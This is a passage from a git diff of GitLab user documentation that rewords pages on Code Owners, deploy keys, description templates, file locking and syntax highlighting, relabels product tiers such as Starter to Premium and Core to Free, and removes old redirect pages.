<https://docs.aws.amazon.com/lambda/latest/dg/nodejs-prog-model-handler.html> +You can learn more about the [AWS Lambda Node.js function handler](https://docs.aws.amazon.com/lambda/latest/dg/nodejs-prog-model-handler.html) and all its various options in its documentation. #### Creating a `serverless.yml` file @@ -290,7 +290,7 @@ The example code is available: - As a [clonable repository](https://gitlab.com/gitlab-org/serverless/examples/serverless-framework-js). - In a version with [tests and secret variables](https://gitlab.com/gitlab-org/project-templates/serverless-framework/). -You can also use a [template](../../../../gitlab-basics/create-project.md#project-templates) +You can also use a [template](../../working_with_projects.md#project-templates) (based on the version with tests and secret variables) from within the GitLab UI (see the `Serverless Framework/JS` template). diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md index 043c5e4ca79..c7ed8d6d2a5 100644 --- a/doc/user/project/clusters/serverless/index.md +++ b/doc/user/project/clusters/serverless/index.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Serverless +# Serverless **(FREE)** > Introduced in GitLab 11.5. diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md index 19dc3588162..0e8c1bf8f4d 100644 --- a/doc/user/project/code_intelligence.md +++ b/doc/user/project/code_intelligence.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Code Intelligence +# Code Intelligence **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/1576) in GitLab 13.1. diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md index 63ea84e42c9..3135aa78719 100644 --- a/doc/user/project/code_owners.md +++ b/doc/user/project/code_owners.md @@ -5,11 +5,11 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Code Owners **(STARTER)** +# Code Owners **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6916) -in [GitLab Starter](https://about.gitlab.com/pricing/) 11.3. -> - Code Owners for Merge Request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.9. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6916) in GitLab 11.3. +> - Code Owners for Merge Request approvals was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4418) in GitLab Premium 11.9. +> - Moved to GitLab Premium in 13.9. ## Introduction @@ -18,7 +18,7 @@ to find out who should review or approve merge requests. Additionally, if you have a question over a specific file or code block, it may be difficult to know who to find the answer from. -GitLab Code Owners is a feature to define who owns specific +The GitLab Code Owners feature defines who owns specific files or paths in a repository, allowing other users to understand who is responsible for each file or path. @@ -32,7 +32,7 @@ the process of finding the right reviewers and approvers for a given merge request. In larger organizations or popular open source projects, Code Owners -can also be useful to understand who to contact if you have +can help you understand who to contact if you have a question that may not be related to code review or a merge request approval. @@ -49,12 +49,12 @@ You can choose to add the `CODEOWNERS` file in three places: - Inside the `docs/` directory The `CODEOWNERS` file is valid for the branch where it lives. For example, if you change the code owners -in a feature branch, they won't be valid in the main branch until the feature branch is merged. +in a feature branch, the changes aren't valid in the main branch until the feature branch is merged. If you introduce new files to your repository and you want to identify the code owners for that file, -you have to update `CODEOWNERS` accordingly. If you update the code owners when you are adding the files (in the same -branch), GitLab will count the owners as soon as the branch is merged. If -you don't, you can do that later, but your new files will not belong to anyone until you update your +you must update `CODEOWNERS` accordingly. If you update the code owners when you are adding the files (in the same +branch), GitLab counts the owners as soon as the branch is merged. If +you don't, you can do that later, but your new files don't belong to anyone until you update your `CODEOWNERS` file in the TARGET branch. When a file matches multiple entries in the `CODEOWNERS` file, @@ -73,29 +73,32 @@ The user that would show for `README.md` would be `@user2`. ## Approvals by Code Owners -Once you've added Code Owners to a project, you can configure it to +After you've added Code Owners to a project, you can configure it to be used for merge request approvals: - As [merge request eligible approvers](merge_requests/merge_request_approvals.md#code-owners-as-eligible-approvers). - As required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). **(PREMIUM)** -Developer or higher [permissions](../permissions.md) are required in order to +Developer or higher [permissions](../permissions.md) are required to approve a merge request. -Once set, Code Owners are displayed in merge requests widgets: +After it's set, Code Owners are displayed in merge request widgets:  -While the `CODEOWNERS` file can be used in addition to Merge Request [Approval Rules](merge_requests/merge_request_approvals.md#approval-rules), -it can also be used as the sole driver of merge request approvals -(without using [Approval Rules](merge_requests/merge_request_approvals.md#approval-rules)). -To do so, create the file in one of the three locations specified above and -set the code owners as required approvers for [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). -Use [the syntax of Code Owners files](code_owners.md#the-syntax-of-code-owners-files) -to specify the actual owners and granular permissions. +While you can use the `CODEOWNERS` file in addition to Merge Request +[Approval Rules](merge_requests/merge_request_approvals.md#approval-rules), +you can also use it as the sole driver of merge request approvals +without using [Approval Rules](merge_requests/merge_request_approvals.md#approval-rules): -Using Code Owners in conjunction with [Protected Branches](protected_branches.md#protected-branches-approval-by-code-owners) -will prevent any user who is not specified in the `CODEOWNERS` file from pushing +1. Create the file in one of the three locations specified above. +1. Set the code owners as required approvers for + [protected branches](protected_branches.md#protected-branches-approval-by-code-owners). +1. Use [the syntax of Code Owners files](code_owners.md#the-syntax-of-code-owners-files) + to specify the actual owners and granular permissions. + +Using Code Owners in conjunction with [protected branches](protected_branches.md#protected-branches-approval-by-code-owners) +prevents any user who is not specified in the `CODEOWNERS` file from pushing changes for the specified files/paths, except those included in the **Allowed to push** column. This allows for a more inclusive push strategy, as administrators don't have to restrict developers from pushing directly to the @@ -114,13 +117,13 @@ in the `.gitignore` file followed by one or more of: - The `@name` of one or more groups that should be owners of the file. - Lines starting with `#` are ignored. -The order in which the paths are defined is significant: the last pattern that -matches a given path will be used to find the code owners. +The path definition order is significant: the last pattern +matching a given path is used to find the code owners. ### Groups as Code Owners -> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) in GitLab Starter 12.1. -> - Group and subgroup hierarchy support was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32432) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53182) in GitLab 12.1. +> - Group and subgroup hierarchy support was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32432) in GitLab 13.0. Groups and subgroups members are inherited as eligible Code Owners to a project, as long as the hierarchy is respected. @@ -131,7 +134,7 @@ suppose you have a project called "Project A" within the group and a "Project B" within the subgroup. The eligible Code Owners to Project B are both the members of the Group X and -the Subgroup Y. And the eligible Code Owners to the Project A are just the +the Subgroup Y. The eligible Code Owners to the Project A are just the members of the Group X, given that Project A doesn't belong to the Subgroup Y:  @@ -142,9 +145,9 @@ Code Owners:  -Once invited, any member (`@user`) of the group or subgroup can be set -as Code Owner to files of the Project A or B, as well as the entire Group X -(`@group-x`) or Subgroup Y (`@group-x/subgroup-y`), as exemplified below: +After being invited, any member (`@user`) of the group or subgroup can be set +as Code Owner to files of the Project A or B, and the entire Group X +(`@group-x`) or Subgroup Y (`@group-x/subgroup-y`), as follows: ```plaintext # A member of the group or subgroup as Code Owner to a file @@ -162,7 +165,7 @@ file.md @group-x @group-x/subgroup-y ### Code Owners Sections **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2 behind a feature flag, enabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12137) in GitLab Premium 13.2 behind a feature flag, enabled by default. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42389) in GitLab 13.4. Code Owner rules can be grouped into named sections. This allows for better @@ -185,8 +188,8 @@ changes, to set their own independent patterns by specifying discrete sections i teams can be added as reviewers. Sections can be added to `CODEOWNERS` files as a new line with the name of the -section inside square brackets. Every entry following it is assigned to that -section. The following example would create 2 Code Owner rules for the "README +section inside square brackets. Every entry following is assigned to that +section. The following example would create two Code Owner rules for the "README Owners" section: ```plaintext @@ -196,7 +199,7 @@ internal/README.md @user2 ``` Multiple sections can be used, even with matching file or directory patterns. -Reusing the same section name will group the results together under the same +Reusing the same section name groups the results together under the same section, with the most specific rule or last matching pattern being used. For example, consider the following entries in a `CODEOWNERS` file: @@ -213,7 +216,7 @@ model/db @gl-database README.md @gl-docs ``` -This will result in 3 entries under the "Documentation" section header, and 2 +This results in three entries under the "Documentation" section header, and two entries under "Database". Case is not considered when combining sections, so in this example, entries defined under the sections "Documentation" and "DOCUMENTATION" would be combined into one, using the case of the first instance @@ -227,9 +230,11 @@ the rules for "Groups" and "Documentation" sections: #### Optional Code Owners Sections **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232995) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.8 behind a feature flag, enabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232995) in GitLab Premium 13.8 behind a feature flag, enabled by default. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53227) in GitLab 13.9. -When you want to make a certain section optional, you can do so by adding a code owners section prepended with the caret `^` character. Approvals from owners listed in the section will **not** be required. For example: +To make a certain section optional, add a code owners section prepended with the +caret `^` character. Approvals from owners listed in the section are **not** required. For example: ```plaintext [Documentation] @@ -242,13 +247,13 @@ When you want to make a certain section optional, you can do so by adding a code *.go @root ``` -The optional code owners section will be displayed in merge requests under the **Approval Rules** area: +The optional code owners section displays in merge requests under the **Approval Rules** area:  -If a section is duplicated in the file, and one of them is marked as optional and the other isn't, the requirement prevails. +If a section is duplicated in the file, and one of them is marked as optional and the other isn't, the requirement prevails. -For example, the code owners of the "Documentation" section below will still be required to approve merge requests: +For example, the code owners of the "Documentation" section below is still required to approve merge requests: ```plaintext [Documentation] @@ -264,12 +269,12 @@ For example, the code owners of the "Documentation" section below will still be *.txt @root ``` -Optional sections in the code owners file are currently treated as optional only -when changes are submitted via merge requests. If a change is submitted directly -to the protected branch, approval from code owners will still be required, even if the -section is marked as optional. We plan to change this in a +Optional sections in the code owners file are treated as optional only +when changes are submitted by using merge requests. If a change is submitted directly +to the protected branch, approval from code owners is still required, even if the +section is marked as optional. We plan to change this behavior in a [future release](https://gitlab.com/gitlab-org/gitlab/-/issues/297638), -where direct pushes to the protected branch will be allowed for sections marked as optional. +and allow direct pushes to the protected branch for sections marked as optional. ## Example `CODEOWNERS` file diff --git a/doc/user/project/container_registry.md b/doc/user/project/container_registry.md deleted file mode 100644 index 17e86b6d7e8..00000000000 --- a/doc/user/project/container_registry.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../packages/container_registry/index.md' ---- - -This document was moved to [another location](../packages/container_registry/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/cycle_analytics.md b/doc/user/project/cycle_analytics.md deleted file mode 100644 index 5c235f6708b..00000000000 --- a/doc/user/project/cycle_analytics.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../analytics/value_stream_analytics.md' ---- - -This document was moved to [another location](../analytics/value_stream_analytics.md) - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/deploy_boards.md b/doc/user/project/deploy_boards.md index 831a8803622..72695580d9d 100644 --- a/doc/user/project/deploy_boards.md +++ b/doc/user/project/deploy_boards.md @@ -5,10 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto, reference --- -# Deploy Boards **(CORE)** +# Deploy Boards **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/1589) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.0. -> - [Moved](<https://gitlab.com/gitlab-org/gitlab/-/issues/212320>) to GitLab Core in 13.8. +> - [Moved](<https://gitlab.com/gitlab-org/gitlab/-/issues/212320>) to GitLab Free in 13.8. GitLab Deploy Boards offer a consolidated view of the current health and status of each CI [environment](../../ci/environments/index.md) running on [Kubernetes](https://kubernetes.io), displaying the status @@ -93,7 +93,7 @@ To display the Deploy Boards for a specific [environment](../../ci/environments/ `$CI_PROJECT_PATH_SLUG` are the values of the CI variables. This is so we can lookup the proper environment in a cluster/namespace which may have more than one. These resources should be contained in the namespace defined in - the Kubernetes service setting. You can use an [Autodeploy](../../topics/autodevops/stages.md#auto-deploy) `.gitlab-ci.yml` + the Kubernetes service setting. You can use an [Auto deploy](../../topics/autodevops/stages.md#auto-deploy) `.gitlab-ci.yml` template which has predefined stages and commands to use, and automatically applies the annotations. Each project must have a unique namespace in Kubernetes as well. The image below demonstrates how this is shown inside @@ -158,7 +158,7 @@ version of your application. ## Further reading -- [GitLab Autodeploy](../../topics/autodevops/stages.md#auto-deploy) +- [GitLab Auto deploy](../../topics/autodevops/stages.md#auto-deploy) - [GitLab CI/CD environment variables](../../ci/variables/README.md) - [Environments and deployments](../../ci/environments/index.md) - [Kubernetes deploy example](https://gitlab.com/gitlab-examples/kubernetes-deploy) diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md index 93ed1030e1f..a45c3d26f1a 100644 --- a/doc/user/project/deploy_keys/index.md +++ b/doc/user/project/deploy_keys/index.md @@ -5,12 +5,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto, reference --- -# Deploy Keys +# Deploy keys -Deploy keys allow read-only or read-write (if enabled) access to one or -more repositories, by importing an SSH public key to your GitLab instance. +Deploy keys allow read-only or read-write access to your +repositories by importing an SSH public key into your GitLab instance. -This is useful for cloning repositories to your Continuous +This is useful, for example, for cloning repositories to your Continuous Integration (CI) server. By using deploy keys, you don't have to set up a fake user account. @@ -21,7 +21,7 @@ There are two types of deploy keys: ## Key details on deploy keys -Deploy Keys allow a remote machine (VM, physical, and so on) to access a GitLab +Deploy keys allow a remote machine (VM, physical, and so on) to access a GitLab repository with just a few steps. If you want a remote machine to interact with a GitLab repository in automation, it's a simple solution. @@ -35,7 +35,7 @@ If this security implication is a concern for your organization, [Deploy Tokens](../deploy_tokens/index.md) works as an alternative, but with more security control. -## Deploy Keys Permissions +## Deploy keys permissions You can choose the access level of a deploy key when you enable it on a project: @@ -72,7 +72,7 @@ help you access a repository, but there are some notables differences between th on it, but this [is possible with deploy tokens](../deploy_tokens/index.md#gitlab-deploy-token). - You need an SSH key pair to use deploy keys, but not deploy tokens. -## How to enable Deploy Keys +## How to enable deploy keys ### Project deploy keys @@ -80,17 +80,17 @@ help you access a repository, but there are some notables differences between th can add or enable a deploy key for a project repository: 1. Navigate to the project's **Settings > Repository** page. -1. Expand the **Deploy Keys** section. +1. Expand the **Deploy keys** section. 1. Specify a title for the new deploy key and paste your public SSH key. -1. (Optional) Check **Write access allowed** to allow `read-write` access. Leave it unchecked for `read-only` access. +1. (Optional) Check **Grant write permissions to this key** to allow `read-write` access. Leave it unchecked for `read-only` access. -There are three lists of Project Deploy Keys: +There are three lists of project deploy keys: - Enabled deploy keys - Privately accessible deploy keys - Public accessible deploy keys - + After you add a key, it's enabled for this project by default and it appears in the **Enabled deploy keys** tab. @@ -129,7 +129,7 @@ Instance administrators can add public deploy keys: if the key gives access to a SaaS CI/CD instance, use the name of that service in the key name if that is all the key is used for. - + After adding a key, it's available to any shared systems. Project maintainers or higher can [authorize a public deploy key](#project-deploy-keys) to start using it with the project. @@ -153,7 +153,7 @@ until a project maintainer chooses to make use of it. ## Troubleshooting -### Deploy Key cannot push to a protected branch +### Deploy key cannot push to a protected branch If the owner of this deploy key doesn't have access to a [protected branch](../protected_branches.md), then this deploy key doesn't have access to diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md index 5a62730d989..6f05c40eefc 100644 --- a/doc/user/project/deploy_tokens/index.md +++ b/doc/user/project/deploy_tokens/index.md @@ -67,7 +67,7 @@ following table along with GitLab version it was introduced in: > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29639) in GitLab 12.1. -The default username format is `gitlab+deploy-token-#{n}`. Some tools or +The default username format is `gitlab+deploy-token-{n}`. Some tools or platforms may not support this format; in this case you can specify a custom username to be used when creating the deploy token. diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md index 3108bdda7a0..c56470ee07a 100644 --- a/doc/user/project/description_templates.md +++ b/doc/user/project/description_templates.md @@ -6,16 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Description templates ->[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4981) in GitLab 8.11. - We all know that a properly submitted issue is more likely to be addressed in a timely manner by the developers of a project. -Description templates allow you to define context-specific templates for issue -and merge request description fields for your project, as well as help filter -out a lot of unnecessary noise from issues. - -## Overview +With description templates, you can define context-specific templates for issue and merge request +description fields for your project, and filter out unnecessary noise from issues. By using the description templates, users that create a new issue or merge request can select a description template to help them communicate with other @@ -28,7 +23,10 @@ Description templates must be written in [Markdown](../markdown.md) and stored in your project's repository under a directory named `.gitlab`. Only the templates of the default branch are taken into account. -## Use-cases +To learn how to create templates for various file types in groups, visit +[Group file templates](../group/index.md#group-file-templates). + +## Use cases - Add a template to be used in every issue for a specific project, giving instructions and guidelines, requiring for information specific to that subject. @@ -39,6 +37,8 @@ templates of the default branch are taken into account. images guidelines, link to the related issue, reviewer name, and so on. - You can also create issues and merge request templates for different stages of your workflow, for example, feature proposal, feature improvement, or a bug report. +- You can use an [issue description template](#creating-issue-templates) as a + [Service Desk email template](service_desk.md#new-service-desk-issues). ## Creating issue templates @@ -47,20 +47,20 @@ directory in your repository. Commit and push to your default branch. To create a Markdown file: - 1. Click the `+` button next to `master` and click **New file**. - 1. Add the name of your issue template to the **File name** text field next to `master`. - Make sure that your file has the `.md` extension, for - example `feature_request.md` or `Feature Request.md`. - 1. Commit and push to your default branch. +1. Click the `+` button next to `master` and click **New file**. +1. Add the name of your issue template to the **File name** text field next to `master`. + Make sure that your file has the `.md` extension, for + example `feature_request.md` or `Feature Request.md`. +1. Commit and push to your default branch. If you don't have a `.gitlab/issue_templates` directory in your repository, you need to create it. To create the `.gitlab/issue_templates` directory: - 1. Click the `+` button next to `master` and select **New directory**. - 1. Name this new directory `.gitlab` and commit to your default branch. - 1. Click the `+` button next to `master` again and select **New directory**.This time, n - 1. Name your directory `issue_templates` and commit to your default branch. +1. Click the `+` button next to `master` and select **New directory**. +1. Name this new directory `.gitlab` and commit to your default branch. +1. Click the `+` button next to `master` again and select **New directory**. +1. Name your directory `issue_templates` and commit to your default branch. To check if this has worked correctly, [create a new issue](issues/managing_issues.md#create-a-new-issue) and see if you can choose a description template. @@ -80,17 +80,16 @@ to the issue description field. The **Reset template** button discards any changes you made after picking the template and returns it to its initial status. NOTE: -You can create short-cut links to create an issue using a designated template. For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal`. +You can create shortcut links to create an issue using a designated template. +For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20proposal`.  -## Setting a default template for merge requests and issues **(STARTER)** +## Setting a default template for merge requests and issues **(PREMIUM)** -> - This feature was introduced before [description templates](#overview) and is available in [GitLab Starter](https://about.gitlab.com/pricing/). It can be enabled in the project's settings. -> - Templates for issues were [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28) in GitLab EE 8.1. -> - Templates for merge requests were [introduced](https://gitlab.com/gitlab-org/gitlab/commit/7478ece8b48e80782b5465b96c79f85cc91d391b) in GitLab EE 6.9. +> - Moved to GitLab Premium in 13.9. -The visibility of issues and/or merge requests should be set to either "Everyone +The visibility of issues or merge requests should be set to either "Everyone with access" or "Only Project Members" in your project's **Settings / Visibility, project features, permissions** section, otherwise the template text areas don't show. This is the default behavior, so in most cases you should be fine. @@ -113,52 +112,46 @@ pre-filled with the text you entered in the template(s). ## Description template example -We make use of Description Templates for Issues and Merge Requests within the GitLab Community -Edition project. Please refer to the [`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab) -for some examples. +We make use of description templates for issues and merge requests in the GitLab project. +For some examples, refer to the [`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab). NOTE: -It's possible to use [quick actions](quick_actions.md) within description templates to quickly add +It's possible to use [quick actions](quick_actions.md) in description templates to quickly add labels, assignees, and milestones. The quick actions are only executed if the user submitting the issue or merge request has the permissions to perform the relevant actions. Here is an example of a Bug report template: -```plaintext -Summary +```markdown +## Summary (Summarize the bug encountered concisely) - -Steps to reproduce +## Steps to reproduce (How one can reproduce the issue - this is very important) +## Example Project -Example Project - -(If possible, please create an example project here on GitLab.com that exhibits the problematic behaviour, and link to it here in the bug report) +(If possible, please create an example project here on GitLab.com that exhibits the problematic +behavior, and link to it here in the bug report. +If you are using an older version of GitLab, this will also determine whether the bug has been fixed +in a more recent version) -(If you are using an older version of GitLab, this will also determine whether the bug has been fixed in a more recent version) - - -What is the current bug behavior? +## What is the current bug behavior? (What actually happens) - -What is the expected correct behavior? +## What is the expected correct behavior? (What you should see instead) +## Relevant logs and/or screenshots -Relevant logs and/or screenshots - -(Paste any relevant logs - please use code blocks (```) to format console output, -logs, and code as it's very hard to read otherwise.) - +(Paste any relevant logs - please use code blocks (```) to format console output, logs, and code, as +it's very hard to read otherwise.) -Possible fixes +## Possible fixes (If you can, link to the line of code that might be responsible for the problem) diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index 49918b8f023..5c24ec6caf6 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# File Locking **(CORE)** +# File Locking **(FREE)** Preventing wasted work caused by unresolvable merge conflicts requires a different way of working. This means explicitly requesting write permissions, @@ -26,7 +26,7 @@ GitLab supports two different modes of file locking: - [Exclusive file locks](#exclusive-file-locks) for binary files: done **through the command line** with Git LFS and `.gitattributes`, it prevents locked - files from being modified on any branch. **(CORE)** + files from being modified on any branch. **(FREE)** - [Default branch locks](#default-branch-file-and-directory-locks): done **through the GitLab UI**, it prevents locked files and directories being modified on the default branch. **(PREMIUM)** @@ -41,7 +41,7 @@ users will be prevented from modifying locked files by pushing, merging, or any other means, and will be shown an error like: `The path '.gitignore' is locked by Administrator`. -## Exclusive file locks +## Exclusive file locks **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/35856) in GitLab 10.5. @@ -198,7 +198,8 @@ Suggested workflow for shared projects: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/440) in GitLab Enterprise Edition 8.9. Available in [GitLab Premium](https://about.gitlab.com/pricing/). This process allows you to lock one file at a time through the GitLab UI and -requires access to [GitLab Premium, GitLab.com Silver](https://about.gitlab.com/pricing/), or higher tiers. +requires access to [GitLab Premium](https://about.gitlab.com/pricing/) +or higher tiers. Default branch file and directory locks only apply to the default branch set in the project's settings (usually `master`). diff --git a/doc/user/project/git_attributes.md b/doc/user/project/git_attributes.md index 459abea455b..2806f6e48d1 100644 --- a/doc/user/project/git_attributes.md +++ b/doc/user/project/git_attributes.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Git Attributes +# Git Attributes **(FREE)** GitLab supports defining custom [Git attributes](https://git-scm.com/docs/gitattributes) such as what files to treat as binary, and what language to use for syntax highlighting diff --git a/doc/user/project/gpg_signed_commits/index.md b/doc/user/project/gpg_signed_commits/index.md deleted file mode 100644 index 206013210a0..00000000000 --- a/doc/user/project/gpg_signed_commits/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../repository/gpg_signed_commits/index.md' ---- - -This document was moved to [another location](../repository/gpg_signed_commits/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md index 1d92e32e071..c914c90c923 100644 --- a/doc/user/project/highlighting.md +++ b/doc/user/project/highlighting.md @@ -5,24 +5,30 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Syntax Highlighting +# Syntax Highlighting **(FREE)** -GitLab provides syntax highlighting on all files through the [Rouge](https://rubygems.org/gems/rouge) Ruby gem. It will try to guess what language to use based on the file extension, which most of the time is sufficient. +GitLab provides syntax highlighting on all files through the [Rouge](https://rubygems.org/gems/rouge) Ruby gem. It attempts to guess what language to use based on the file extension, which most of the time is sufficient. NOTE: The [Web IDE](web_ide/index.md) and [Snippets](../snippets.md) use [Monaco Editor](https://microsoft.github.io/monaco-editor/) for text editing, which internally uses the [Monarch](https://microsoft.github.io/monaco-editor/monarch.html) library for syntax highlighting. -If GitLab is guessing wrong, you can override its choice of language using the `gitlab-language` attribute in `.gitattributes`. For example, if you are working in a Prolog project and using the `.pl` file extension (which would normally be highlighted as Perl), you can add the following to your `.gitattributes` file: +If GitLab is guessing wrong, you can override its choice of language using the +`gitlab-language` attribute in `.gitattributes`. For example, if you are working in a +<!-- vale gitlab.Spelling = NO --> Prolog <!-- vale gitlab.Spelling = YES --> +project and using the `.pl` file extension (which would normally be highlighted as Perl), +you can add the following to your `.gitattributes` file: ``` conf *.pl gitlab-language=prolog ``` -When you check in and push that change, all `*.pl` files in your project will be highlighted as Prolog. +<!-- vale gitlab.Spelling = NO --> +When you check in and push that change, all `*.pl` files in your project are highlighted as Prolog. +<!-- vale gitlab.Spelling = YES --> -The paths here are simply Git's built-in [`.gitattributes` interface](https://git-scm.com/docs/gitattributes). So, if you were to invent a file format called a `Nicefile` at the root of your project that used Ruby syntax, all you need is: +The paths here are Git's built-in [`.gitattributes` interface](https://git-scm.com/docs/gitattributes). So, if you were to invent a file format called a `Nicefile` at the root of your project that used Ruby syntax, all you need is: ``` conf /Nicefile gitlab-language=ruby @@ -38,7 +44,8 @@ To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shen /other-file gitlab-language=text?token=Error ``` -Please note that these configurations will only take effect when the `.gitattributes` file is in your default branch (usually `master`). +Please note that these configurations only take effect when the `.gitattributes` +file is in your default branch (usually `master`). NOTE: The Web IDE does not support `.gitattribute` files, but it's [planned for a future release](https://gitlab.com/gitlab-org/gitlab/-/issues/22014). diff --git a/doc/user/project/img/optional_code_owners_sections_v13_8.png b/doc/user/project/img/optional_code_owners_sections_v13_8.png Binary files differindex 7a5a2fab6e3..50916466226 100644 --- a/doc/user/project/img/optional_code_owners_sections_v13_8.png +++ b/doc/user/project/img/optional_code_owners_sections_v13_8.png diff --git a/doc/user/project/img/service_desk_nav_item.png b/doc/user/project/img/service_desk_nav_item.png Binary files differdeleted file mode 100644 index fdf8fa024c3..00000000000 --- a/doc/user/project/img/service_desk_nav_item.png +++ /dev/null diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md index 82ff889c043..61d4d29aa4d 100644 --- a/doc/user/project/import/cvs.md +++ b/doc/user/project/import/cvs.md @@ -62,7 +62,7 @@ Migrating to Git/GitLab will benefit you: an open source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more. - **Support for many network protocols**. Git supports SSH, HTTP/HTTPS and rsync - among others, whereas CVS supports only SSH and its own insecure pserver + among others, whereas CVS supports only SSH and its own insecure `pserver` protocol with no user authentication. ## How to migrate @@ -70,7 +70,7 @@ Migrating to Git/GitLab will benefit you: Here's a few links to get you started with the migration: - [Migrate using the `cvs-fast-export` tool](https://gitlab.com/esr/cvs-fast-export) -- [Stack Overflow post on importing the CVS repo](https://stackoverflow.com/a/11490134/974710) +- [Stack Overflow post on importing the CVS repository](https://stackoverflow.com/a/11490134/974710) - [Convert a CVS repository to Git](https://www.techrepublic.com/blog/linux-and-open-source/convert-cvs-repositories-to-git/) - [Man page of the `git-cvsimport` tool](https://mirrors.edge.kernel.org/pub/software/scm/git/docs/git-cvsimport.html) - [Migrate using `reposurgeon`](http://www.catb.org/~esr/reposurgeon/repository-editing.html#conversion) diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md index 38679914a9d..bac10cb0948 100644 --- a/doc/user/project/import/gemnasium.md +++ b/doc/user/project/import/gemnasium.md @@ -29,7 +29,8 @@ If you want to continue monitoring your dependencies, see the ## What happened to my account? Your account has been automatically closed on May 15th, 2018. If you had a paid -subscription at that time, your card will be refunded on a pro rata temporis basis. +subscription at that time, your card will be refunded on a +<!-- vale gitlab.Spelling = NO --> pro rata temporis <!-- vale gitlab.Spelling = YES --> basis. You may contact `gemnasium@gitlab.com` regarding your closed account. ## Will my account/data be transferred to GitLab Inc.? @@ -66,15 +67,18 @@ GitHub.com or GitHub Enterprise repository. This will automatically prompt GitLab CI/CD to run whenever code is pushed to GitHub and post CI/CD results back to both GitLab and GitHub when completed. -1. Create a new project, and select "CI/CD for external repo": +<!-- vale gitlab.Spelling = NO --> + +1. Create a new project, and select **CI/CD for external repo**:  + <!-- vale gitlab.Spelling = YES --> -1. Use the "GitHub" button to connect your repositories. +1. Use the **GitHub** button to connect your repositories.  -1. Select the project(s) to be set up with GitLab CI/CD and chose "Connect". +1. Select the project(s) to be set up with GitLab CI/CD and choose **Connect**.  diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md index 754c3e31799..f6ed53763dd 100644 --- a/doc/user/project/import/index.md +++ b/doc/user/project/import/index.md @@ -74,3 +74,25 @@ In the event of merging two GitLab instances together (for example, both instanc refer to the instructions in [Migrating from self-managed GitLab to 